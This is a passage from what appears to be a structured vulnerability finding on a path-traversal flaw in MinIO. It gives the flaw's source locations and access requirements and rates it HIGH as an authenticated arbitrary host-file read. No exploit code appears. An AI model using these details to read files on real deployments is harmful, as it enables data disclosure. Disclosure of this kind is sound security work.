`cmd/jwt.go:52-59 authenticateNode`), and (b) anyone holding the MinIO root credential. Ordinary S3/IAM users cannot. This is an authenticated, over-the-network primitive whose credential is the cluster-wide root secret — i.e. a compromised node or a MinIO root admin, not an anonymous client.\n\nremote-auth\n</trust_boundary>\n\n<severity>\nHIGH — Fully reachable over the real wire protocol with no harness tricks, but strongly authenticated (cluster root JWT), so not CRITICAL. It is a READ primitive: arbitrary host-filesystem file disclosure under the minio process UID. That still crosses a real trust boundary",
"title": "minio: path-traversal at cmd/xl-storage.go:3194-3218 (sink); cmd/storage-rest-server.go:1287-1326 (handler)",
"vendor_severity": "high"
}